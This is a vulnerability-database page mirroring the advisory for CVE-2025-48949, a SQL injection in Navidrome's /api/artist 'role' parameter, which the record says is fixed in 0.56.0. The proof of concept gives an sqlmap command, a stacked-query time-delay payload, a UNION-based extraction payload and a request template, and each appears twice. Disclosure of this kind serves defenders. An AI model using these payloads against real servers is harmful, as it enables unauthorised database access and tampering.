GHSA-5WGP-VJXM-3X2R
Vulnerability from github β Published: 2025-05-29 17:27 β Updated: 2025-05-30 21:42
VLAI
Summary
Navidrome allows SQL Injection via role parameter
Details
π‘ Security Advisory: SQL Injection Vulnerability in Navidrome v0.55.2
Overview
This vulnerability arises due to improper input validation on the role parameter within the API endpoint /api/artist. Attackers can exploit this flaw to inject arbitrary SQL queries, potentially gaining unauthorized access to the backend database and compromising sensitive user information.
Details
-
Vulnerable Component: API endpoint β
/api/artistParameter βrole -
Vulnerability Type: SQL Injection (stacked queries, UNION queries)
-
Database Affected: SQLite (confirmed exploitation via SQLite-specific payloads)
-
Impact: Successful exploitation allows an unauthenticated attacker to:
-
Execute arbitrary SQL commands
- Extract or manipulate sensitive data (e.g., user records, playlists)
- Potentially escalate privileges or disrupt service availability
Proof of Concept (PoC)
Example Exploit Command:
sqlmap.py -r navi --level 5 --risk 3 -a --banner --batch --tamper charencode --dbms sqlite
Sample Payloads:
- Stacked Queries:
http://navidrome/api/artist?_end=15&_order=ASC&_sort=name&_start=0&role=albumartist');SELECT LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2))))--
- UNION-Based Query:
http://navidrome.local/api/artist?_end=15&_order=ASC&_sort=name&_start=0&role=albumartist') UNION ALL SELECT 92,92,92,92,92,92,92,92,92,92,92,92,92,92,92,92,92,CHAR(113,98,118,98,113)||CHAR(113,84,86,119,114,71,106,104,90,118,120,104,79,66,104,108,121,106,70,68,90,113,104,117,67,98,113,67,103,84,71,120,119,119,117,121,81,76,100,71)||CHAR(113,120,112,106,113),92,92,92,92-- Mtny
Example HTTP Request:
GET /api/artist?_end=15&_order=ASC&_sort=name&_start=0&role=albumartist* HTTP/2
Host: <TARGET HOST>
Cookie: <REPLACE WITH VALID COOKIE>
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:138.0) Gecko/20100101 Firefox/138.0
Accept: application/json
X-Nd-Authorization: <REPLACE WITH AUTH TOKEN>
X-Nd-Client-Unique-Id: <REPLACE WITH CLIENT ID>
Severity
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.55.2"
},
"package": {
"ecosystem": "Go",
"name": "github.com/navidrome/navidrome"
},
"ranges": [
{
"events": [
{
"introduced": "0.55.0"
},
{
"fixed": "0.56.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-48949"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": true,
"github_reviewed_at": "2025-05-29T17:27:56Z",
"nvd_published_at": "2025-05-30T20:15:44Z",
"severity": "HIGH"
},
"details": "## \ud83d\udee1 **Security Advisory: SQL Injection Vulnerability in Navidrome v0.55.2**\n\n### **Overview**\n\nThis vulnerability arises due to improper input validation on the **`role`** parameter within the API endpoint **`/api/artist`**. Attackers can exploit this flaw to inject arbitrary SQL queries, potentially gaining unauthorized access to the backend database and compromising sensitive user information.\n\n---\n\n### **Details**\n\n* **Vulnerable Component**:\n API endpoint \u2192 `/api/artist`\n Parameter \u2192 `role`\n\n* **Vulnerability Type**:\n SQL Injection (stacked queries, UNION queries)\n\n* **Database Affected**:\n SQLite (confirmed exploitation via SQLite-specific payloads)\n\n* **Impact**:\n Successful exploitation allows an unauthenticated attacker to:\n\n * Execute arbitrary SQL commands\n * Extract or manipulate sensitive data (e.g., user records, playlists)\n * Potentially escalate privileges or disrupt service availability\n\n---\n\n### **Proof of Concept (PoC)**\n\n**Example Exploit Command**:\n\n```bash\nsqlmap.py -r navi --level 5 --risk 3 -a --banner --batch --tamper charencode --dbms sqlite\n```\n\n**Sample Payloads**:\n\n* **Stacked Queries**:\n\n ```\n http://navidrome/api/artist?_end=15\u0026_order=ASC\u0026_sort=name\u0026_start=0\u0026role=albumartist\u0027);SELECT LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2))))--\n ```\n\n* **UNION-Based Query**:\n\n ```\n http://navidrome.local/api/artist?_end=15\u0026_order=ASC\u0026_sort=name\u0026_start=0\u0026role=albumartist\u0027) UNION ALL SELECT 92,92,92,92,92,92,92,92,92,92,92,92,92,92,92,92,92,CHAR(113,98,118,98,113)||CHAR(113,84,86,119,114,71,106,104,90,118,120,104,79,66,104,108,121,106,70,68,90,113,104,117,67,98,113,67,103,84,71,120,119,119,117,121,81,76,100,71)||CHAR(113,120,112,106,113),92,92,92,92-- Mtny\n ```\n\n**Example HTTP Request**:\n\n```http\nGET /api/artist?_end=15\u0026_order=ASC\u0026_sort=name\u0026_start=0\u0026role=albumartist* HTTP/2\nHost: \u003cTARGET HOST\u003e\nCookie: \u003cREPLACE WITH VALID COOKIE\u003e\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:138.0) Gecko/20100101 Firefox/138.0\nAccept: application/json\nX-Nd-Authorization: \u003cREPLACE WITH AUTH TOKEN\u003e\nX-Nd-Client-Unique-Id: \u003cREPLACE WITH CLIENT ID\u003e\n```\n\n---",
"id": "GHSA-5wgp-vjxm-3x2r",
"modified": "2025-05-30T21:42:20Z",
"published": "2025-05-29T17:27:56Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/navidrome/navidrome/security/advisories/GHSA-5wgp-vjxm-3x2r"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-48949"
},
{
"type": "WEB",
"url": "https://github.com/navidrome/navidrome/commit/b19d5f0d3e079639904cac95735228f445c798b6"
},
{
"type": "PACKAGE",
"url": "https://github.com/navidrome/navidrome"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "Navidrome allows SQL Injection via role parameter"
}
Loadingβ¦
Loadingβ¦
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loadingβ¦
Loadingβ¦
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Loadingβ¦
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.
Loadingβ¦